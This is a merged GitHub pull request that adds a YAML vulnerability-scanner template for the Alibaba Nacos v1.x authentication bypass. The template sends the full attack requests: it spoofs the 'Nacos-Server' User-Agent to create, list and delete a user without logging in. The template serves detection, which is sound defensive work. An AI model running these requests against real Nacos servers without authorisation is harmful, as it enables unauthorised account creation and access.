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add alibaba nacos v1.x authentication bypass detection #1011

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Jan 18, 2021
Merged

add alibaba nacos v1.x authentication bypass detection #1011

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27 changes: 27 additions & 0 deletions pocs/alibaba-nacos-v1-auth-bypass.yml
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Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
name: poc-yaml-alibaba-nacos-v1-auth-bypass
set:
r1: randomLowercase(16)
r2: randomLowercase(16)
rules:
- method: POST
path: "/nacos/v1/auth/users?username={{r1}}&password={{r2}}"
headers:
User-Agent: Nacos-Server
expression: |
response.status == 200 && response.body.bcontains(bytes("create user ok!"))
- method: GET
path: "/nacos/v1/auth/users?pageNo=1&pageSize=999"
headers:
User-Agent: Nacos-Server
expression: |
response.status == 200 && response.body.bcontains(bytes(r1))
- method: DELETE
path: "/nacos/v1/auth/users?username={{r1}}"
headers:
User-Agent: Nacos-Server
expression: |
response.status == 200 && response.body.bcontains(bytes("delete user ok!"))
detail:
author: kmahyyg(https://github.com/kmahyyg)
links:
- https://github.com/alibaba/nacos/issues/4593